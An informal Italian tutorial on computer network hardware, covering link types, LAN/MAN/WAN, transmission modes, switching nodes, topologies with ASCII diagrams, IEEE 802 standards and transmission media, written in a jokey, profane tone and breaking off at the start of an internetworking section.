hardware delle reti =========================== Per conoscenza e per vostra cultura il termine che descrive questa parte dell'informatica va sotto il nome di Networking. In linea di massima possiamo classificare le reti informatiche basandoci su due aspetti fondamentali delle stesse: hardware e software. Per aspetti hardware delle reti intendiamo come è strutturata una network, da un punto di vista fisico. Per aspetti software invece, cosa fa comunicare le reti(questo aspetto sarà trattato in un articolo a parte). Iniziamo... [...] Morpheo...voglio i codici del mainframe...cazzo dammi quei codici o ti squaglio il cervello [...] da MATRIX più o meno eheheh Le reti di calcolatori sono nate intorno agli anni 60 per collegare terminali "stupidi" ad un elaboratore centrale detto mainframe. Infatti basta pensare ad una agenzia viaggi che gestisce prenotazioni di aeri, traghetti ecc.; se non ci fosse un elaboratore centrale dove archiviare tutte le prenotazioni? Diventerebbe molto complesso gestire il tutto. Con la crescita e lo sviluppo delle nuove tecnologie i singoli terminali sono diventati più potenti e non più "stupidi" e l'architettura basata sul mainframe ha cominciato a perdere importanza (anche se in maniera relativa), sostituita dai singoli elaboratori, divenuti molto più potenti e ben indicati a fungere da archivio distribuito ed accessibile a tutti gli utenti della rete. Innanzitutto cosa intendiamo per RETI DI COMPUTERS? In maniera assai semplice: una rete è intesa come un insieme di computers collegati tra loro. Cosa servono queste reti? Non certo a scambiarsi foto porno (anche!), ma i vantaggi di una rete sono principalmente: - scambio di dati e programmi tra pc ubicati nelle sedi più disparate. - una migliore condivisione delle risorse di una azienda o di una società. - la rete permette di risolvere anomalie o guasti ad un ipotetico sistema A, trasferendone le mansioni presso un sistema B (funzione definita di back-up). - sfruttamento delle risorse ad es. di un'azienda anche in movimento mediante un portatile e l'accesso remoto. - comunicazione tra persone - chi più ne ha più nè metta... Vediamo come è strutturata una semplice rete di computers: Computer A --------------------- Computer B linea trasmissiva In questa struttura si rispecchia anche la comunicazione tra un computer ed un terminale (cioè una stazione utente) poichè ormai i terminali rappresentato veri e propri computer con sistema operativo, software, ecc. Il computer A avrà del software applicativo (che indicheremo con SA) tipo un client di posta elettronica, un database cioè programmi che noi utilizziamo per determinati scopi e che usiamo mediante una testiera, un lettore di tessere insomma mediante delle periferiche di Input. Supponiamo che un SA (esempio di prima: un client di posta elettronica debba inviare una email al computer B)voglia comunicare con B e che a sua volta B voglia leggere un file in A. Questa situazione porta ad una comunicazione bidirezionale e che quindi l'unica linea di comunicazione debba essere utilizzata per due scopi diversi. Per rendere ciò possibile è necessario che nei due pc sia presente uno "strato di software" capace di inviare e di ricevere dati, cioè di smistare nel modo corretto le richieste inoltrate. L'insieme di sistema operativo, terminale, applicazioni, dispositivi di Input (tasiera, scanner ecc.) e di Output (monitor, stampante) prende il nome di DATA TERMINAL EQUIPMENT (DTE). Un DTE può quindi essere un computer semplice, un terminale, un mainframe (definito come un cervellone centrale da cui attingono tutti gli altri computer della rete definiti Host). Ogni DTE è collegato alla linea di trasmissione mediante un DATA CIRCUIT TERMINATING EQUIPMENT (DCE) che nel caso di comunicazione tra A e B mediante linea telefonica, si tratta di un banale modem. Vediamo: Files vari Files vari \ / Database--(Pc A o DTE A)---DCE(modem)=====DCE(modem)---(Pc B o DTE B)--Database / \ Disposit.I/O Disposit.I/O ----: connessione locale ====: linea di trasmissione Nello schema appena visto esistono due tipi di connessione: - Logiche: significa che i DTE non sono coinvolti negli aspetti fisici della trasmissione, cioè al client di posta non gli fotte niente su come l'email giungerà a B, preparerà solo email con un qualcosa che identificherà B tra migliaia di altri computer. - Fisica: cioè la vera trasmissione dell'email suddetta avverrà sfruttando il collegamento fisico (modem e linea di trasmissione vera e propria, in questo caso il cavo del telefono). Ne consegue che esistono quindi delle interfacce di comunicazione tra A e B, cioè programmi responsabili degli aspetti fisici e logici della trasmissione, mediante il dialogo reso comprensibile dalle due parti mediante l'uso di PROTOCOLLI. Quindi un protocollo è un insieme di regole, norme, convenzioni e tecniche per lo scambio di dati, di comandi e di informazioni di controllo tra due computer. (non vi preoccupate se non è ben chiaro, lo vedremo meglio in seguito). Il modello OSI (Open Systems Interconnections) appunto è progetto della fine degli anni '70 con lo scopo di creare un modello di riferimento per le reti di calcolatori. Esso doveva essere una base comune per la realizzazione di un modello di rete standardizzato che potesse unire gli sforzi dei singoli programmatori. Per semplificare i vari problemi che si presentavano nella realizzazione di una rete, l'OSI ha adottato un approccio a livelli (layers) che permettesse di a ciascun livello di affrontare un problema e di risolverlo. Tipi di reti ============ Abbiamo visto cosa significa rete: cioè due o più pc collegati. In linea generale le reti possono essere classificate basandoci su due parametri principali: 1)Tipologia di trasmissione 2)Dimensioni della rete. Esaminiamo il primo parametro cioè la tipologia di trasmissione. I sistemi di collegamento possono essere di 3 tipi: - Circuito punto a punto: cioè quando il circuito di connessione collega solo due computer. Questo tipo di connessione è semplice da gestire in quanto i dati trasmessi da un DTE sono sempre diretti verso l'altro DTE. Inoltre ha tempi di attesa nulli, in quanto la linea è sempre disponibile. Presenta però degli svantaggi, cioè: il costo della linea (immaginate di collegare due computer posti uno a Pechino ed uno a Roma....e quanto ti passa...?!). Inoltre supponiamo di voler collegare un mainframe con 20.000 hosts, in questo caso saremmo obbligati a creare 20.000 linee di collegamento... azzolina ci vorrebbero miliardi e 25 anni di lavoro. DTE A-----DCE----------DCE-----DTE B - Circuito multipunto: per ovviare al problema suddetto si potrebbe usare un collegamento multipunto. In cosa consiste? Su un circuito di collegamento si inseriscono più di un due DTE sulla stessa linea. Quindi questa configurazione prevede un DTE principale (che vi spiegherò tra un secondo la funzione) e DTE secondari, ciascuno con il proprio DCE (modem o quant'altro). Questo tipo di rete però presenta un problema cioè che possono nascere dei conflitti dovuti al fatto che più di un DTE ha necessità di usare la linea per trasmettere qualcosa. Infatti la linea di trasmissione è in grado di veicolare solo un messaggio alla volta in ciascun senso di direzione. Quindi possono viaggiare simultaneamente solo due dati con direzioni diverse. Se un DTE vuole trasmettere deve attendere che la linea sia libera e nel caso i DTE siano molteplici, potete immaginare il casino con attese a volta anche molto lunghe (a differenza dei collegamenti punto a punto dove i tempi sono quasi inesistenti). E allora che si fa? Come ho detto per regolarizzare un circuito del genere è necessario che ci sia un semaforo che indichi ai vari automobilisti quando partire e quando stare fermi ed ecco spiegata la funzione del DTE principale (definito MASTER: il semaforo tanto per capirci) e dei DTE secondari (definiti SLAVE: gli automobilisti). Se questo compromesso da un lato serve a migliorare le prestazioni di una rete così strutturata, dall'altro provoca altri inconvenienti...azzo tutte a lei capitano...eheheh. Ogni DTE che viene inserita sulla linea provoca un degrado delle caratteristiche elettriche del segnale trasmesso (tanto più lungo è il percorso, maggiori sono i disturbi), infatti esistono delle normative che regolano il numero di slave applicabili. Altro problema, già accennato è che al crescere del numero di slave, cresce anche il traffico e quindi vi potreste trovare in uno di quegli ingorghi dove è preferibile lasciare l'auto e andare a piedi. Altra cosa da non trascurare è che se il Master si guasta (esempio a seguito di un cattivo cracker che entra e formatta l'hd....che cattivo, non fatelo mai, mi raccomando), tutto il sistema va in tilt. E' come un incrocio bestiale senza semafori...una strage.....Questo tipo, ormai è in disuso per una serie di problemi. Vediamo un esempio grafico: __________ | DTE | | MASTER |---DCE--------------------------------------------------- |__________| | | | | | | | | DCE DCE DCE DCE | | | | | | | | DTE A DTE B DTE C DTE N - Circuito broadcast: all'opposto dei due sistemi visti prima. Queste configurazioni presentano un unico canale di comunicazione che è condiviso da tutti i computer. Brevi messaggi (pacchetti) inviati da uno di questi sono ricevuti da tutti gli altri. Un indirizzo del pacchetto identifica il destinatario e quindi gli altri DTE, verificano al momento della ricezione del pacchetto, l'indirizzo e se non è il loro ignorano il messaggio, che alla fine giungerà al vero destinatario. Queste reti possono però far si che un pacchetto possa essere ricevuto da tutti i DTE, inserendo nel messaggio un particolare indirizzo. Si parla in questo caso di BROADCASTING. Altra possibilità è inviare il famoso pacchetto (di droga...eheheh) ad un sottoinsieme di elaboratori. In questo caso si parla di MULTICASTING e il pacchetto sarà preso in esame solo dal sottoinsieme di computer, in quanto nell'indirizzo del destinatario è presente un bit che indica che si tratta di una trasmissione in multicasting, mentre gli altri bit presentano l'indirizzo del gruppo destinatario. Uff, Uff, pausa mi fumo una sigaretta e continuo........ Solito esempio grafico: DTE A DTE B DTE C DTE E DTE F | | | | | | | | | | ____|_________|__________|___________|__________|____ Come noterete, qui non esistono Master o Slave, tutti gli elaboratori sono uguali e quindi chi regola le trasmissioni cioè se più computer volessero trasmettere come si fa? Le reti broadcast,ed in modo specifico le reti locali di tipo broadcast si possono dividere infatti in base al meccanismo di arbitraggio cioè in base al tipo di regolamentazione delle varie trasmissioni: - Allocazione statica: in questo tipo di rete broadcast, le regole per decidere chi sarà il prossimo a trasmettere sono fissate a priori ad esempio assegnando a ciscun DTE un time slot (cioè un tot di tempo fisso a disposizione di ciascun elaboratore, che si ripete in modo costante così ciascun computer sa quando è arrivata la sua ora ehehe, cioè l'ora di trasmettere). L'incoveniente di questo sistema è che se si assegna un tempo a ciascuna macchina (es. molto banale: il DTE B, può trasmettere ogni 9 min e 40 sec, per 2 minuti in tutto) può succedere che quel pc arrivata la sua ora non abbia nulla da trasmettere, cmq l'intera rete deve attendere che siano passati i 2 min a disposizione del DTE B, anche se questo non ha da trasmettere nulla. Moltiplicate questa perdita di time per tutte le macchine che al proprio giro non hanno nulla da dire e capite quanto spreco di tempo ci possa essere. - Allocazione dinamica: qui le regole di trasmissione non sono fissate a priori, ma è necessario un meccanismo di arbitraggio che regoli le contese. In questo caso è possibile avere un meccanismo centralizzato che accetti le varie richieste di trasmissione decidendone l'ordine (tipo una Bus Arbitration Unit); o si può avere un arbitraggio distribuito, cioè ogni computer decide in modo autonomo quando trasmettere. In questo ultimo caso esistono dei meccanismi per evitare caos e conflitti (Prima io...no, prima io...bastardo ti brucio il CPU...ho detto prima io .....eheheh). Queste cose le vedremo in seguito Come ho già detto la tipologia multipunto è ormai in disuso, quindi d'ora in avanti ci concentreremo in modo particolare su trasmissioni "punto a punto" e "broadcast" (dette anche multiaccesso da non confondere con la dizione multipunto eh?). ATTENZIONE in linea generale possiamo dire che le reti goegraficamente localizzate hanno la tendenza ad essere di tipo BROADCAST, le reti molto estese invece utilizzano solitamente una tecnologia di trasmissione di tipo PUNTO A PUNTO. Esistono alcune eccezioni: le reti satellitari (quindi anche molto estese) sono di tipo Broadcast; le reti locali basate su ATM (vedremo più avanti cosa significa) sono di tipo punto a punto. 2)Adesso vediamo come possono essere classificate le reti in base alle loro dimensioni. Un altro parametro utilizzato per classificare le reti è quello dimensionale (non nel senso che "io ce l'ho più grande...io ce l'lo ho più grande...porci). A tal scopo le reti sono state divise in 3 tipi principali: - Reti locali, per gli amici LAN (Local Area Network): si definiscono tali, reti situate nell'ambito di stanze ( con distanza tra i processori dei computer di 10 m); edificio (con distanza di 100 m); campus (distanza di 1 km). - Reti metropolitane, dette MAN (Metropolitan Area Network): nell'ambito di una città con distanze diciamo intorno ai 10 km. - Reti geografiche, WAN (Wide Area Network): nell'ambito di una nazione o continente con ordini di grandezza che vanno dai 100 km fino a circa 1000 km. Naturalmente prendete con le pinze i criteri dimensionali, nel senso che una LAN può essere anche più estesa di un Km. Ho inserito le distanze per darvi una idea più concreta. Ok? MADO' che lavoraccio mi aspetta......La descrizione più dettagliata delle LAN, MAN e WAN la vedremo tra breve, prima dobbiamo accennare ad alcune altre cosucce. Flussi trasmissivi ================== Il flusso trasmissivo (cioè la direzione della trasmissione) in una rete può essere di 3 tipi: - SIMPLEX: cioè i dati viaggiano in una sola direzione (esempi di questo tipo di trasmissione sono le reti radio- televisive). QUesta modalità di trasmissione di dati non viene usata in una rete di computers perchè nella comunicazione di dati è necessario quasi sempre il controllo della correttezza della ricezione dei dati. Facciamo un esempio: il computer A vuole mandare dei dati al compueter B, ma prima si deve accertare che B si in grado di ricevere il file correttamente quindi manda un avviso: A:Ueeeee, computer B sei pronto ti sto per mandare una cosettinaaaaaaa?? B:uhhhh che rompipalle quell'A, sempre cose mi vuole mandare...e B risponde: siiii A, sono pronto manda quando vuoi e cosi A manda il pacchettino....chiaro? In questa situazione, se una linea fosse solo in un senso (es. da A a B e non viceversa), come farebbe B a comunicare ad A che è pronto? ragazzi ... più semplice di così non posso dirla...mi sembra di parlare ai bimbi di 3 anni (senza offesa...eheheh). - HALF-DUPLEX: cioè i dati possono viaggiare in entrambe le direzioni, ma non contemporaneamente. QUindi avremo la trasmissione in una direzione e poi nell'altra, mai insieme. - FULL-DUPLEX:finalmente i dati possono viaggiare in entrambe le direzioni e contemporaneamente. Questo tipo di connessione si ha mediante il classico doppino telefonico (due cavi, uno in una direzione ed uno in un'altra. Questo è vero in parte perchè realmente un doppino telefonico è costituito da un cavo per i dati e l'altro per il ritorno elettrico, quindi sarebbero necessar 4 cavi... ma sinceramente di queste cose non ce ne fotte nulla, non siamo mica ingegneri). Nodi di commutazione ==================== In reti che collegano molti sistemi, è spesso presente un elemento che viene definito DATA SWITCHING EQUIPMENT (DSE...da non confondere con DCE...mi raccomando) che può essere definito nella nostra madre lingua : NODO DI COMMUTAZIONE. Esso rappresenta un elemento intermedio della rete che non ha alcuna funzione di supporto agli utenti, ma serve solo a commutare (switch appunto) il traffico tra 2 o più DTE non collegati direttamente tra loro. Il disegnino vi chiarirà le idee: DTE A DSE 2---------------DTE B \ / \ \ / \ DSE 1-------DSE 3----------DTE C--------DTE D Come si può vedere abbiamo una rete di 4 DTE (4 computer per capirci) con 3 DSE (3switch) che mettono in comunicazione tra loro i 4 DTE non direttamente collegati. Se ad esempio il DTE A vuole comunicare con il DTE C, dovrà necessariamente passare attraverso il DSE 1 e il DSE 3. QUindi, i DSE scelgono sempre la strada migliore per mettere in comunicazione due DTE (cosiddetto percorso di rete). Ma noterete una cosa, che il percorso tra il DTE A e C può anche essere DTE A--DSE 1---DSE 2---DSE 3---DTE C; questo significa che è presente un percorso alternativo che in caso di malfunzionamento di un tratto di rete (in questo caso potrebbe essere il tratto tra il DSE 1 ed il DSE 3)assicura sempre una continuità di percorso. Bello no? CHe menti...che menti...l'ho sempre detto, quando vogliamo sappiamo essere ingegnosi...quando vogliamo!!! Ah un appunto... un DSE può decidere di utilizzare un percorso alternativo, non solo in caso di malfunzionamento di un tratto di rete, ma anche se quel tratto risulta essere troppo congestionato dal traffico di dati (come quando decidiamo di non prendere la tangenziale alle 8.00 del mattino ma usiamo percorsi alternati magari in mezzo alla campagna...e dopo 6 ore arriviamo in ufficio). Topologie di rete ================= Piccolo riepilogo: abbiamo visto come possono essere le reti in funzione del tipo di collegamento tra i vari hosts (punto a punto; multipunto, broadcast) e in base alle dimensioni della rete (LAN, MAN, WAN);abbiamo visto come può essere questo collegamento (simplex,half-duplex, duplex). Adesso vediamo come può essere organizzata una rete in rapporto alla topografia cioè, geometricamente (vi ricordate cosa significa "geometricamente"? Quadrato, triangolo, parallelepipedo... eheh vi ricordate? QUesto significa geometricamente cioè come forma. E'importante scegliere la topologia più idonea per una rete perchè da essa ne dipende l'affidabilità (cioè trovare percorsi alternativi vari in risposta ad un malfunzionamento o eccessivo traffico)ed inoltre, non meno importante è il numero di collegamenti, le distanze ecc, che influiscono non poco sui costi ( i quattrini per intenderci...meno se ne spendono meglio è....c'è poi chi di quattrini non ne può spendere affatto...nel caso mio: la rete che mi posso permettere sarebbe composta da due computer della Chicco, collegati dal filo usato per cucirmi i calzini...azzo che rete..altro che internet!!!eheheheh). Il primo tipo di topologia di rete è quello "ad albero" cioè con disposizione gerarchica. Graficamente rende meglio l'idea: A | | ----------------- | | | | | | B C D | / \ | / \ E F G Semplice no? In questo tipo di rete, il flusso dei dati va dai terminali più bassi (E-F-G) verso i terminali intermedi (B-C-D) o verso il sistema del livello più alto. Quest'ultimo rappresenta il sistema più potente dell'intera rete, visto che deve provvedere alle richieste di tutti gli altri terminali. Solitamente questo sistema (A), svolge tutte le funzioni di gestione della rete, talvolta affiancato da altri sistemi a locazione più bassa. Analizzando gli svantaggi spicca subito una cosa: se il sistema principale (A), è pieno di lavoro o se crasha sono cavoli amari...l'intera rete è fottuta. A questa disgrazia si può ovviare creando un sistema di back-up che come vi ho già accennato, rappresenta un altro computer che svolge funzioni di vicario in caso di guai. Il secondo sistema da analizzare è quello definito "a dorsale" o "a bus". Vediamone un esempio: B D F | | | | | | --------------------------------------- | | | | | | | | A C E G Questa configurazione è molto conosciuta perchè utilizzata da reti locali di tipo ETHERNET (vedremo in seguito). E' caratterizzata dall'avere un unico cavo che collega tutti i sistemi. Una trasmissione di una stazione viene ricevuta da tutte le altre. Gli inconvenienti sono dovuti alla presenza di un solo cavo, con tutte le grane che porta, infatti una danno del cavo fa saltare tutta la rete con difficoltà tra l'altro all'individuazione del danno. Terza condizione che esaminiamo è quella definita "a stella". B C D \ | / \ | / \ | / A / | \ / | \ / | \ G F E Quadro molto simile alla forma "ad albero" con un sistema centrale (A), ma con una differenza: tra i sistemi periferici non vi sono gerarchie...sono tutti allo stesso livello. I vantaggi ed i difetti sono simili alla topologia ad albero. Altra tipologia da vedere è quello "ad anello" usata spesso nelle LAN . B A C G D F E Oddio, più che un anello mi sembra un albero di Natale (per rimanere in tema...eheh), fate finta che sia un anello. In questo caso la trasmissione è unidirezionale, cioè i dati viaggiano in una sola direzione (senso orario o antiorario), poichè essendo un sistem chiuso, prima o poi raggiungono il destinatario. Topologia "a maglia" con un intreccio vario tra i vari sistemi e con percorsi alternativi: A-----B |\ / \ | \ / \ | / C | / \ |/ \ | \ /| \ / | \ G--|--------\--D | \ F----------E Una rete tipo questa assicura buone prestazini perchè il traffco può essere ripartito su più sistemi con percorsi alternativi. Naturalmente i costi di gestione sono piuttosto alti. Una domanda sorge spontanea: es. una topologia a bus può essere "punto a punto"? Con questa domanda intendo farvi comprendere che la tipologia e la topologia di una rete sono strettamente connesse perchè determinate topologie si possono realizzare solo con determinate tipologie. Nella domanda di su riassumo questo concetto. Una rete a bus ha una tipologia obbligatoria di tipo broadcast in quanto il canale di comunicazione è unico e li convergono tutti i collegamenti dei pc. Le topologie fino ad adesso esaminate hanno in comune il fatto che i collegamenti tra le varie stazioni devono essere permanenti, ma se i dati che devono viaggiare sono modesti, i collegamenti possono essere anche di tipo "commutato" indicando con questo termine quelle connessioni fisiche che si attivano solo quando è necessario (tipo quando dobbiamo inviare una email ad un altro pc, accendiamo il modem ed attiviamo la connessione telefonica). Vediamo di spiegare in maniera veloce, un collegamento permanente e commutato: - PERMANENTE: consiste nell'affittare, ad uso esclusivo, la linea che collega le due stazioni con DSE intermedi. I vantaggi di questo tipo sono dovuti alla buona qualità e costanza della trasmissione dei dati; non è necessaria la chiamata all'altro sistema perchè sempre connesso con velocizzazione del collegamento; vine eliminato il rischio di connessioni bloccate o con eccessivo traffico. Purtroppo, come ogni medaglia hanno il loro rovescio: il costo. Affittare linee del genere è molto oneroso e conviene solo se la quantità di dati da trasmettere tra le due stazioni è molto grande e costante nel tempo (tipo collegamenti giornalieri con grosse quantità di dati da trasmettere). - COMMUTATO: in inglese "swichted" con l'utilizzo di una linea commutata (tipo quella telefonica). In questo caso la trasmissione dei dati è sempre preceduta da una fase di chiamata (tipo quando voi vi collegate ad Internet con un modem analogico). Gli svantaggi sono dovuti al maggior tempo che richiede la connessione per la fase di chiamata; la qualità della linea non è prevedibile ed è in dipendenza del traffico presente; velocità di trasmissione non alta; disturbi della linea piuttosto frequenti. Naturalmente i vari tipi di connessione possono essere di diversi tipi: analogica con cavi normali, digitale con fibre ottiche, satellitale. Non ne parlo sia perchè non mi sembra il caso, sia perchè diventerebbe troppo lungo e palloso...cmq se volete avere informazioni potete cercarle o se proprio siete interessati potreste bombardare la nostra casella email con vostre richieste e suppliche di affrontare questo argomento... Sincronizzazione ================ Comunque sia costituita la rete o le reti da far comunicare, è sempre necessaria una fase iniziale di "colloquio" tra i due computer al fine di SINCRONIZZARSI reciprocamente. Quindi supponiamo che un DTE (computer per la cronaca) di una rete A voglia comunicare con un DTE di una rete B, prima dello scambio dei dati avviene la sincronizzazione appunto. Essa consiste in due tempi particolari: - Il primo: nella fase iniziale della comunicazione, è necessario che il sistema ricevente venga avvisato del pacchetto di dati in arrivo in modo che B si prepari e possa in seguito ricomporre i vari pacchetti in maniera corretta. La fase iniziale di sincronizzazione varia a seconda del protocollo preso in esame (in seguito vedremo i dettagli dei protocolli che più ci interessano). - Secondo: è necessario comunicare al sistema B, i tempi di attesa per una nuova trasmissione in modo che i due orologi interni (clock) possano essere sempre sincronizzati e all'unisono. Perchè questa fase è fondamentale per una corretta trasmissione di dati? SE i due sistemi risultato desincronizzati, può capitare che il sistema B non riceva correttamente anche un solo BIT, provocando una reazione a cascata con un alterazione dell'intero messaggio non più ricomposto correttamente. Bene, bene...vi faccio il punto della situazione: abbiamo visto in maniera molto generale come possono essere strutturate le reti, con a volte mix di varie configurazioni. Adesso andremo ad analizzare come possono comunicare i vari computer all'interno e all'esterno di una rete soffermandoci sulle LAN, MAN WAN...CICIUWAN, OIKO ONOMASCHITA'...ops scusate mi sono fatto prendere la mano... è stato il mio sogno da bambino parlare il giapponese...eheheh. LAN === Le reti locali solitamente sono private, cioè appartengono a qualche organizzazione (aziende, società, cosche mafiose eheheh scherzo...la mafia solitamente ha MAN o WAN ehehe SCHERZOOOOOOO....), con estensioni limitate ad edifici o campus. Le caratteristiche che contraddistinguono una LAN da MAN E WAN sono quindi: - dimensionali (come visto prima). - tecnologia di trasmissione: come già detto le reti locali solitamente sono di tipo broadcast con velocità di trasmissione cha varia da 10 a 100 Mbps (Mbps= megabit al secondo o meglio milioni di bit al secondo)e con tasso di errore della trasmissione basso. - topologia: di solito sono di tipo BUS o RING (vedere topologia delle reti). # Nel caso di una topologia Bus, un solo pc alla volta può trasmettere, gli altri devono astenersi e quindi come prevedibile anche qui è necessario un arbitraggio sia esso centralizzato o distribuito. Uno standard molto usato nelle LAN è IEEE 802.3 (chiamato più semplicemente ETHERNET, cosa vera in parte) che consiste in una rete broadcast (come ovvio), basata su topologia BUS, con arbitraggio distribuito (gli elaboratori trasmettono quando vogliono e se è presente una collisione riprovano dopo un intervallo di tempo casuale)con velocità di trasmissione da 10 a 100 Mbps. # Anche nel caso di una topologia ring è necessario un meccanismo di arbitraggio spesso basato sul possesso di un gettone che abilita alla trasmissione (token in inglese). Uno standard molto usato è IEEE 802.5 (originato dalla configurazione TOKEN RING dell'IBM)che è quindi una rete broadcast a topologia ring, con arbritaggio distribuito e con una velocità variabile da i 4 ai 6 Mbps. Vi riporto per completezza il disegnino altrimenti poi vi lamentate: B D F | | | | | | --------------------------------------- BUS | | | | | | | | A C E G B A C G D F E RING (o definito anche "albero di Natale" eheheh) MAN === Le reti metropolitane (Metropolitan Area Network)come visto prima, hanno dimensioni decisamente più vaste rispetto ad una LAN, interessando intere città . Solitamente sono pubbliche e non private come le LAN (tipo la TELECOM che affitta tali reti: immaginate quanti soldi si fotte. Se già a noi semplici mortali ci strizza ben bene con un canone bimetrale da paura...meglio non parlarne altrimenti mi arriva in sangue agli occhi...). in precedenza utilizzavano standard delle reti WAN, ma ultimamente è nato uno standard ad hoc: IEEE 802.6 detto anche DQDB (Distributed Queue Dual Bus)con affinità molto maggiori ad una LAN piuttosto che ad una WAN. Essa consiste in una rete tipo broadcast (due bus in 802.6) che collegano tutti i computer. I bus che possono essere costituiti da cavi coassiali o da fibre ottiche, sono unidirezionali ed hanno un particolare dispositivo (detto Head-end) che che regola l'attività di trasmissione. Disegnino.... ________ direzione flusso -----> |HEAD END|_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ |________| | | | | | | | | | | | | | | | | | | DTE A DTE B DTE C ecc. | | | | | | | | | | | | ________ _ _| _| _ _ _ _|_ | _ _ _ _|_ | _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _|HEAD END| |________| <----- direzione flusso Come vedete i computer sono collegati alle due linee principali mediante due vie per ciascun lato: una per la trasmissione ed una per la ricezione dei dati. CHIARO? WAN === Le reti geografiche (Wide Area Network) hanno una estensione grandeeee, grandeee cioè nazione, continente, intero pianeta, universo intero (NOOOOO...scherzo... ehehe fermatevi a pianeta). Una Wan è costituita essenzialmente di due componenti: - un insieme di computer (detti hosts o end system) sui quali girano i vari programmi usati da ciascun utente. - una "comunication subnet" o più semplicemente "subnet" che connette i vari hosts, trasportando i dati da un host all'altro. La subnet, a sua volta è composta da altri due elementi: - linee di trasmissione (dette anche canali, circuiti, trunk) - elementi di commutazione (switch per intederci) che come abbiamo già accennato altro non sono che computer con una funzione specifica, cioè quella di connettere più linee di trasmissione e quindi di decidere, nel momento dell'arrivo di un pacchetto di dati da una linea, quale strada far prendere e quindi quale linea in uscita questi dati devono seguire per giungere sani e salvi al destinatario. Per la cronaca, questi computer sono chiamati in vari modi (sistemi intermedi, nodi ecc.); noi useremo il termine ROUTER. Quindi in ultima analisi una WAN non fa altro che connettere tra loro piu LAN. Disegnino molto difficile( Attenzione immagine grande...cercate di visualizzarla correttamente): WAN |============================================================================================================| | | | | | SUBNET Host Host Host Host | | ---------------------------------------- | | | | | | | ROUTER B-----------ROUTER C------------------------------ | | | / | / | LAN B | | | / | / | | | | / | / | | | | / | / | | | Host Host Host Host | / ROUTER A / | | | | | | | | / | \ / | | | ---------------------------------ROUTER E | \ / | Host Host Host Host | | LAN C | \ | \ / | | | | | | | | \ | ROUTER D----------------------------------------- | | | \ | / | LAN A | | | \ | / Linea di | | | | \ | /<----trasmissione | | | | \ | / | | | | ROUTER F | | | |---------------------------------------| | | | | | | | | | |============================================================================================================| Ho perso 2 ore per fare sto cavolo di disegnino....studiatelo bene altrimenti mi fate incazzare. Penso sia ben chiaro (se non riuscite a visualizzarlo correttamente provate ad allargare i margini di impostazione della pagina). Se un host a della LAN C vuole comunicare con un host b della LAN A, i dati saranno convogliati verso la subnet e li i vari router smisteranno i dati secondo il percorso più adatto fino a raggiungere il destinatario. Quindi una Wan che si rispetti avrà più linee trasmissive, ognuna connessa ad una coppia di router. Quindi questi benedetti router non fanno altro che: -ricevere un pacchetto da una linea d'ingresso. -memorizzarlo completamente in un buffer interno. -ritrasmetterlo su una linea di uscita appena questa si rende libera. Queste caratteristiche di una subnet fanno si che una rete del genere possa essere chiamata: punto a punto, store and forward, a commutazione di pacchetto (packet switched). Anche i router devono possedere una topologia che renderà le cose più o meno semplici. Solitamente i routers possono essere connessi mediante una topologia a "stella", ad "anello", ad "albero", "magliata", "completamente connessa". inserirò solo i disegnini dell'ultima perchè gli altri li potete vedere nel relativo paragrafo. ROUTER A----------ROUTER B |\ /| | \ / | | \ / | | \ / | | \/ | connessione completa | /\ | | / \ | | / \ | | / \ | |/ \| ROUTER C----------ROUTER D Colgo l'occasione di parlate un pò di come possano essere i collegamenti nell'ambito di una Wan, e delle reti in genere. I mezzi trasmissivi allo stato attuale possono essere divisi in 3 categorie principali: - mezzi elettrici: sono quelli classici che sfruttano la capacità dei metalli di condurre energia elettrica. La trasmissione di dati avviene mediante l'associazione ai bit, di particolari valori di tensione o di corrente o per variazione di tali grandezze. - onde radio: sono definiti "wireless", sono entrati di modo successivamente ai mezzi elettrici e possono essere usati per WAN e più raramente per LAN. Per la trasmissione sfruttano l'onda elettromagnetica, una associazione di un campo elettrico e di un campo magnetico variabili, che ha la capacità di propagarsi nello spazio e di riprodurre a distanza una corrente elettrica in un dispositivo ricevente (antenna). Vediamo qualche esempio relativo alle WAN: Le WAN satellitari sono reti che si avvalgono di satelliti (come ovvio: azzo lo dice il nome stesso...scusate ma sono un pò esaurito...eheh).Come funzionano? I routers sono collocati a terra ad una certa distanza l'uno dall'altro e per comunicare tra loro non usano una normale linea di trasmissione ma un satellite (solitamente in cielo....azzo che scoperta...voi avete mai visto qualche satellite a terra? A parte quelli che spiaccicano al suolo dopo miliardi e miliardi spesi per avere ultimissime tecnologie; motivo del disastro...si sono scaricate le batterie....assurdo). Comunque, torniamo a noi; ogni router sente l'output del satellite e invia dati al satellite (quindi una comunicazione bidirezionale). Questa particolare caratteristica crea due possibilità: -broacast downlink (cioè dal satellite a terra). -broadcast uplink (da terra al satellite). Come vi ho già accennato una struttura del genere può essere definita broadcast (eccezione perchè solitamente le WAN sono "punto a punto") perchè la via di connessione è unica: il satellite per l'appunto. Solito disegnino....mi sembro il piccolo scrivano fiorentino.... _____________________________ | | | SATELLITE | CIELO ------------------------------ / / \ \ / / \ \ / / \ \ / / \ \ / / \ \ / / \ \ / / \ \ / / \ \ / / ER MONTAROZZO \ \ / / ___ \ \ / / ___/ \ \ \ __/ /______ / \ _____\_\__ | ROUTER A | / \ | ROUTER B | |___________| | \ |__________| TERRA _________________________________| |_____________________________ Altro esempio particolare sono "radio al suolo": che significa? Anche questa rappresenta una rete broadcast con ogni router che sente l'output di quelli vicini. Quindi la comunicazione avviene attraverso onde radio. Vediamo: Onde radio -----------------------> ----------------> <----------------------- <---------------- ___||____ ____||___ ___||___ |ROUTER A | |ROUTER B | |ROUTER C| |_________| |_________| |________| __________________________________________________________________________ Routers con antenna radio - mezzi ottici (che non ha niente a che fare con gli occhiali eheeh): laser e fibre ottiche. Qui viene usata la luce come fenomeno fisico. Naturalmente queste tecnologie possono miscelarsi tra loro con WAN di tipo misto appunto, cioè in parte cablate, in parte satellitari, in parte radio, in parte con mezzi ottici. Internetworking ============== Finora abbiamo visto come sono struttura te reti singole, ma lo stato attuale è ben più complesso, nel senso che ci troviamo di fronte anche a interconnesioni di LAN, MAN, WAN cioè reti di questo tipo sono spesso collegate tra loro. Questo campo prende il nome di INTERNETWORKING. Qual'è il problema che questa condizione porta? Come avete visto le reti (siano esse Lan, Man o Wan) sono progettualmete diverse, cioè esitono moltitudini di "configurazione" e una grandissima quantità di protocolli diversi e allora come è possibile far fronte a questa eterogeneità, come è possibile collegare reti "incompatibili"? A questo punto entrano in gioco routers particolari 